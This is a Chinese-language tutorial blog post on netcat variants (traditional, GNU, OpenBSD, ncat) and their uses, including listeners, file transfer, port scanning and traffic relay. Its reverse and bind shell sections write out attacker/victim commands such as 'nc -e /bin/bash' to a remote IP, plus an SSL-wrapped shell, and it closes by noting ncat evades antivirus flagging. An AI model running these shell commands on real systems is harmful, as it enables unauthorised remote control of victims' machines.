Netcat - 你需要知道的一切

2021-07-29 08:54:42 浏览数 (1)

简介

Netcat 是一种跨网络连接读写数据的工具,使用 TCP 或 UDP 协议。Netcat 被称为 TCP/IP/网络瑞士军刀。在本文中,将介绍netcat 的不同应用变种,以及它如何在渗透测试人员、安全专家、系统管理员等的日常活动中发挥作用……


变体

netcat 有多种变体,但大多数核心功能和命令行选项都非常相似。Netcat 最初是为了在 linux 上使用而编写的,这些变体是基于 linux 的,但仍然可以在 windows 上使用 netcat。


Netcat Traditional

Netcat Traditional 是最初的实现,由一个叫Hobbit的人编写。这通常不会预先安装,除非使用像 kali linux 这样的发行版。它不再维护,版本为 1.10。

在ubuntu/debian 的机器上运行apt search netcat,它显示为 netcat 或 netcat-traditional。

要安装它,可以运行sudo apt install netcat-traditional或通过从源代码编译,也可以从项目页面https://nc110.sourceforge.io/ 获取。

如果在系统上安装 netcat 的不同变体,可能必须使用完整的二进制名称调用命令。在这种情况下,运行nc.traditional -h查看命令行选项。

注意到 -e 选项,这在 openbsd 版本中不可用。这是考虑安全漏洞的功能。


GNU 网络

GNU Netcat 是对原始 netcat 的重写,以使其具有新功能并完全符合 GNU 的可移植性。这意味着它可以很容易地安装在几乎所有的 Linux 发行版上。此版本无法通过包管理器获得。它似乎也不再维护,因为它的最新版本是 2004 年的 0.7.1。

要获得它,可以从项目网站http://netcat.sourceforge.net下载源文件,然后编译它。

需要 gcc 和 make 才能成功安装。二进制文件将安装到 /usr/local/bin/netcat。下面是要使用的命令。

代码语言:javascript复制
cd netcat-0.7.1/
./configure
make
sudo make install

Netcat OpenBSD

Netcat OpenBSD 版本是对原始 netcat 的重写,包括对 IPv6、代理和 unix 套接字的支持。除了这些增强功能之外,它还被编译以删除一个被认为是应用程序巨大安全漏洞的功能。

这个版本是最常见的,你会发现它默认安装在 ubuntu 发行版(桌面和服务器)中。对于其他 linux 发行版,您可能需要自己安装。

通过apt search netcat在 ubuntu 机器上运行,它显示为 netcat-openbsd 包。

要安装它,您可以运行sudo apt install netcat-openbsd. 安装 netcat 后,它会符号链接到 nc 和 netcat,以便于调用命令。可以通过检查 nc 和 netcat 的 realpath 来看到这一点,它们指向同一个 nc.openbsd 二进制文件。

运行查看可用的命令行选项netcat -h。


Ncat

Ncat 是对 nmap 项目 netcat 的重新实现。此版本功能更加丰富和改进。

安装 nmap 时,也会安装 ncat,这适用于 windows 和 linux。然后运行ncat -h以查看可用的命令行选项。

您也可以从源代码编译安装它,可以从 nmap 网站https://nmap.org/ncat/下载。


功能

现在了解了不同的变体,让我们看看netcat 的最常见功能。大多数语法在不同的变体中是通用的。

我们将关注 2 个最新的变体,netcat-openbsdncat,因为它们是最近维护和更新的。


服务器/客户端模式

服务器模式

在服务器模式下,可以使用 netcat 来侦听连接。这样做是在系统上打开一个端口(tcp 或 udp)。

默认情况下,netcat 侦听 tcp。以下命令将侦听端口 8080 上的所有接口。

代码语言:javascript复制
nc -lvnp 8080

要指定要侦听的接口,例如 localhost,可以对 openbsd 变体使用以下语法。

代码语言:javascript复制
nc -s 127.0.0.1 -lvnp 8080

Ncat 在指定接口时用不同的语法。

代码语言:javascript复制
ncat -lvn 127.0.0.1 8080

监听 udp 的语法与 tcp 类似,但包括 -u 选项。

代码语言:javascript复制
nc -l -u -v -n -p 8080

命令行选项可以组合在一起或分开使用。


客户端模式

在客户端模式下,您可以使用 netcat 连接到系统上的开放端口。这对于手动检查服务横幅或仅检查端口是否打开是有益的。

对于在端口 8080 上连接到 IP 127.0.0.1 时的 tcp 连接,语法如下。

代码语言:javascript复制
nc -vn 127.0.0.1 8080

对于 udp 连接,我们只添加 -u 选项。

代码语言:javascript复制
nc -uvn 127.0.0.1 8080

反转/绑定壳

这里看 netcat 如何使用反向 shell 和绑定 shell。

这在渗透测试人员中非常流行,并且使用 netcat 使其变得容易。使用服务器/客户端模型进行解释。

使用的命令仅适用于 ncat、netcat tradition和 gnu netcat。Netcat OpenBSD没有这个特性,因为它认为这是一个安全风险。


反向 shell

对于反向 shell,我们在服务器模式下使用 netcat 来侦听连接,然后从客户端提供 shell。这将允许服务器上的会话在收到 shell 后在客户端上运行命令。从渗透测试的角度来看,服务器是攻击者机器,客户端是受害者机器。

服务器(攻击者机器)

代码语言:javascript复制
nc -lvnp 8080

客户端(受害者机器)

代码语言:javascript复制
nc -e /bin/bash 192.168.125.10 8080

绑定Shell

对于绑定Shell,服务器模式下的 netcat 侦听连接并将外壳进程提供给任何连接的客户端。然后以客户端模式运行的 Netcat 可以连接到服务器并获得对服务器的 shell 访问并运行命令。从渗透测试的角度来看,服务器是受害者机器,客户端是攻击者机器。

服务器(受害者机器)

代码语言:javascript复制
nc -e /bin/bash -lvnp 8080

客户端(攻击者机器)

代码语言:javascript复制
nc 192.168.125.10 8080

文件传输

由于能够写入原始socket,我们可以通过连接将文件从一个系统传输到另一个系统而不会失真。

为此,我们并不真正关心哪个是服务器,哪个是客户端,因为传输可以朝任一方向进行,但我们需要先运行侦听器。

要通过端口 8080 将 server1 上的文件传输到 server2,可以按如下方式完成:

代码语言:javascript复制
nc -lvnp 8080 < infile   (server1)
nc 192.168.125.10 8080 > outfile  (server2)

在相反的方向做同样的事情:

代码语言:javascript复制
nc 192.168.125.20 8080 < infile (server1)
nc -lvnp 8080 > outfile (server2)

端口扫描

此功能未在 ncat 中实现,但在其他变体中可用。ncat省略了这个功能,但是他们提供了更好的工具nmap。

因此,如果发现一个带有 netcat-openbsd 的系统并且无法安装 nmap,可以运行基本的端口扫描,如下所示。

要扫描目标上的 TCP 端口,使用以下语法。

代码语言:javascript复制
nc -nvv -w 1 -z 127.0.0.1 1-1000

要扫描目标上的 UDP 端口,使用以下语法。

代码语言:javascript复制
nc -nvv -w 1 -z -u 127.0.0.1 1-1000

流量重定向

这仅适用于支持 -e 选项的软件版本。

以下面的场景为例,server1 不能直接连接到 server3,而只能通过 server2。

代码语言:javascript复制
server1 <-------------> server2 <-------------> server3

要将流量从 server1 重定向到在端口 8080 上运行在 server3 (192.168.125.40) 上的 Web 应用程序,我们可以在 server2 上执行以下 ncat 命令。

代码语言:javascript复制
nc -klvnp 8000 -e "/bin/nc 192.168.125.40 8080"

现在,可以通过访问server2的 8000端口上来访问 server3 上的 Web 应用程序。


Ncat 附加功能

从这些功能可以看出安全风险,因为连接上没有加密,因为 netcat 将以最原始的形式写入连接,因此任何嗅探网络的人都可以在 shell 和文件传输的情况下捕获未加密的所有流量。对于绑定 shell,没有身份验证,因此任何连接到绑定 shell 正在侦听的端口的人都可以在机器上运行命令。

使用 ncat 时,其中一些问题得到解决,因为它允许使用 ssl 以及访问控制。


加密 shell

对于反向 shell,使用相同的命令语法,但添加--ssl到命令中,绑定 shell 也是如此。

服务器(攻击者机器)

代码语言:javascript复制
nc --ssl -lvnp 8080

客户端(受害者机器)

代码语言:javascript复制
nc --ssl -e /bin/bash 192.168.125.10 8080

访问控制

在服务器模式下使用 netcat 时,该--allow选项可以指定允许连接到端口的一台主机或网络范围,这对于绑定 shell 情况很有用。同样,您可以使用 –deny 拒绝来自特定主机或网络范围的访问。

代码语言:javascript复制
nc --allow 127.0.0.1 -e /bin/bash -lvnp 8000

上面的命令将绑定 shell 设置为只接受来自本地主机的连接。


结论

Netcat 是用于网络相关活动的非常棒的工具,我发现它在 CTF 期间非常有用,有时在渗透测试期间使用它。

windows 的 netcat(特别是 ncat,因为 ssl 功能)是一个很好的实用程序,可以帮助你获得反向外壳并且不会被标记为病毒。

0 人点赞